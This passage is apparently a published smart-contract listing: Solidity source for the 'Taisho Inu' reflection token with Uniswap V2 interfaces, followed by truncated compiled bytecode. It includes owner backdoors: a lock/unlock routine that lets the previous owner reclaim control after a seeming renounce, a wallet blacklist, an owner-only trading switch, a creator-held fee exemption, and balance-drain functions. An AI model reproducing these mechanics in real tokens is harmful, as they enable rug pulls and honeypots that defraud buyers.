@dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract TaishoInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 69000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; address public contractMaker; string private _name = "Taisho Inu"; string private _symbol = "TAISHO"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 12; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 990000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 690000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; contractMaker = _msgSender(); //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function excludeAddFromFee(address account) public { require(msg.sender == contractMaker , "You don't have permission "); _isExcludedFromFee[account] = true; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 69000000000000000000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 69000000, "Swap Threshold Amount cannot be less than 69 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function setBotWallets(address[] calldata botwallet) external onlyOwner() { for (uint256 i; i < botwallet.length; ++i) { botWallets[botwallet[i]] = true; } } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(80).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106103035760003560e01c80636325c2f111610190578063a69df4b5116100dc578063d89a041211610095578063e8c4c43c1161006f578063e8c4c43c14610965578063ea2f0b371461097a578063f2fde38b1461099a578063fc3fc90a146109ba57600080fd5b8063d89a0412146108df578063dd467064146108ff578063dd62ed3e1461091f57600080fd5b8063a69df4b51461083f578063a9059cbb14610854578063b6c5232414610874578063c49b9a8014610889578063d12a7688146108a9578063d4a3883f146108bf57600080fd5b80637d1db4a5116101495780638da5cb5b116101235780638da5cb5b146107d757806395d89b41146107f5578063a457c2d71461080a578063a63342311461082a57600080fd5b80637d1db4a51461076857806388f820201461077e5780638ba4cc3c146107b757600080fd5b80636325c2f1146106bd5780636bc87c3a146106dd57806370a08231146106f3578063715018a61461071357806375f0a87414610728578063764d72bf1461074857600080fd5b8063395093511161024f57806348c54b9d1161020857806352390c02116101e257806352390c021461060b5780635342acb41461062b5780635d098b381461066457806360d484891461068457600080fd5b806348c54b9d146105a357806349bd5a5e146105b85780634a74bb02146105ec57600080fd5b806339509351146104ed5780633ae7dc201461050d5780633b124fe71461052d5780633bd5d17314610543578063437823ec146105635780634549b0391461058357600080fd5b806323b872dd116102bc5780632d838119116102965780632d8381191461046c5780632f05205c1461048c578063313ce567146104ab5780633685d419146104cd57600080fd5b806323b872dd1461040c57806329e04b4a1461042c5780632a3606311461044c57600080fd5b80630305caff1461030f57806306fdde0314610331578063095ea7b31461035c57806313114a9d1461038c5780631694505e146103ab57806318160ddd146103f757600080fd5b3661030a57005b600080fd5b34801561031b57600080fd5b5061032f61032a366004612d0c565b6109da565b005b34801561033d57600080fd5b50610346610a2e565b6040516103539190612d29565b60405180910390f35b34801561036857600080fd5b5061037c610377366004612d7e565b610ac0565b6040519015158152602001610353565b34801561039857600080fd5b50600d545b604051908152602001610353565b3480156103b757600080fd5b506103df7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610353565b34801561040357600080fd5b50600b5461039d565b34801561041857600080fd5b5061037c610427366004612daa565b610ad7565b34801561043857600080fd5b5061032f610447366004612deb565b610b40565b34801561045857600080fd5b5061032f610467366004612d0c565b610bee565b34801561047857600080fd5b5061039d610487366004612deb565b610c3c565b34801561049857600080fd5b50600a5461037c90610100900460ff1681565b3480156104b757600080fd5b5060125460405160ff9091168152602001610353565b3480156104d957600080fd5b5061032f6104e8366004612d0c565b610cc0565b3480156104f957600080fd5b5061037c610508366004612d7e565b610e77565b34801561051957600080fd5b5061032f610528366004612e04565b610ead565b34801561053957600080fd5b5061039d60135481565b34801561054f57600080fd5b5061032f61055e366004612deb565b610fdb565b34801561056f57600080fd5b5061032f61057e366004612d0c565b6110c5565b34801561058f57600080fd5b5061039d61059e366004612e4b565b611113565b3480156105af57600080fd5b5061032f6111a0565b3480156105c457600080fd5b506103df7f0000000000000000000000000f4ecc77807ed54935961028b514636a5d64028c81565b3480156105f857600080fd5b5060175461037c90610100900460ff1681565b34801561061757600080fd5b5061032f610626366004612d0c565b611206565b34801561063757600080fd5b5061037c610646366004612d0c565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561067057600080fd5b5061032f61067f366004612d0c565b611359565b34801561069057600080fd5b5061037c61069f366004612d0c565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156106c957600080fd5b50600f546103df906001600160a01b031681565b3480156106e957600080fd5b5061039d60155481565b3480156106ff57600080fd5b5061039d61070e366004612d0c565b6113a5565b34801561071f57600080fd5b5061032f611404565b34801561073457600080fd5b50600e546103df906001600160a01b031681565b34801561075457600080fd5b5061032f610763366004612d0c565b611466565b34801561077457600080fd5b5061039d60185481565b34801561078a57600080fd5b5061037c610799366004612d0c565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156107c357600080fd5b5061032f6107d2366004612d7e565b6114c5565b3480156107e357600080fd5b506000546001600160a01b03166103df565b34801561080157600080fd5b50610346611520565b34801561081657600080fd5b5061037c610825366004612d7e565b61152f565b34801561083657600080fd5b5061032f61157e565b34801561084b57600080fd5b5061032f6115b9565b34801561086057600080fd5b5061037c61086f366004612d7e565b6116bf565b34801561088057600080fd5b5060025461039d565b34801561089557600080fd5b5061032f6108a4366004612e70565b6116cc565b3480156108b557600080fd5b5061039d60195481565b3480156108cb57600080fd5b5061032f6108da366004612ed9565b61174a565b3480156108eb57600080fd5b5061032f6108fa366004612d0c565b61183d565b34801561090b57600080fd5b5061032f61091a366004612deb565b611897565b34801561092b57600080fd5b5061039d61093a366004612e04565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561097157600080fd5b5061032f61191c565b34801561098657600080fd5b5061032f610995366004612d0c565b61195a565b3480156109a657600080fd5b5061032f6109b5366004612d0c565b6119a5565b3480156109c657600080fd5b5061032f6109d5366004612f45565b611a7d565b6000546001600160a01b03163314610a0d5760405162461bcd60e51b8152600401610a0490612f87565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b606060108054610a3d90612fbc565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6990612fbc565b8015610ab65780601f10610a8b57610100808354040283529160200191610ab6565b820191906000526020600020905b815481529060010190602001808311610a9957829003601f168201915b5050505050905090565b6000610acd338484611b17565b5060015b92915050565b6000610ae4848484611c3b565b610b368433610b31856040518060600160405280602881526020016131b7602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611eec565b611b17565b5060019392505050565b6000546001600160a01b03163314610b6a5760405162461bcd60e51b8152600401610a0490612f87565b63041cdb408111610bda5760405162461bcd60e51b815260206004820152603460248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f74206265206044820152733632b9b9903a3430b7101b1c9026b4b63634b7b760611b6064820152608401610a04565b610be881633b9aca0061300d565b60195550565b6000546001600160a01b03163314610c185760405162461bcd60e51b8152600401610a0490612f87565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610ca35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610a04565b6000610cad611f26565b9050610cb98382611f49565b9392505050565b6000546001600160a01b03163314610cea5760405162461bcd60e51b8152600401610a0490612f87565b6001600160a01b03811660009081526007602052604090205460ff16610d525760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a04565b60005b600854811015610e7357816001600160a01b031660088281548110610d7c57610d7c61302c565b6000918252602090912001546001600160a01b03161415610e615760088054610da790600190613042565b81548110610db757610db761302c565b600091825260209091200154600880546001600160a01b039092169183908110610de357610de361302c565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610e3b57610e3b613059565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610e6b8161306f565b915050610d55565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610acd918590610b319086611f8b565b6000546001600160a01b03163314610ed75760405162461bcd60e51b8152600401610a0490612f87565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f58919061308a565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610f9e57600080fd5b505af1158015610fb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd691906130a3565b505050565b3360008181526007602052604090205460ff16156110505760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610a04565b600061105b83611fea565b505050506001600160a01b03841660009081526003602052604090205491925061108791905082612039565b6001600160a01b038316600090815260036020526040902055600c546110ad9082612039565b600c55600d546110bd9084611f8b565b600d55505050565b6000546001600160a01b031633146110ef5760405162461bcd60e51b8152600401610a0490612f87565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156111675760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610a04565b8161118657600061117784611fea565b50939550610ad1945050505050565b600061119184611fea565b50929550610ad1945050505050565b6000546001600160a01b031633146111ca5760405162461bcd60e51b8152600401610a0490612f87565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611203573d6000803e3d6000fd5b50565b6000546001600160a01b031633146112305760405162461bcd60e51b8152600401610a0490612f87565b6001600160a01b03811660009081526007602052604090205460ff16156112995760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a04565b6001600160a01b038116600090815260036020526040902054156112f3576001600160a01b0381166000908152600360205260409020546112d990610c3c565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146113835760405162461bcd60e51b8152600401610a0490612f87565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526007602052604081205460ff16156113e257506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610ad190610c3c565b6000546001600160a01b0316331461142e5760405162461bcd60e51b8152600401610a0490612f87565b600080546040516001600160a01b03909116906000805160206131df833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146114905760405162461bcd60e51b8152600401610a0490612f87565b6040516001600160a01b038216904780156108fc02916000818181858